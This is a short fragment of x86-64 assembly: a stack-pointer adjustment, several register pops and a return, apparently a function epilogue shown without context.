add rsp, 0x90
pop r15
pop r12
pop rdi
pop rsi
pop rbp
ret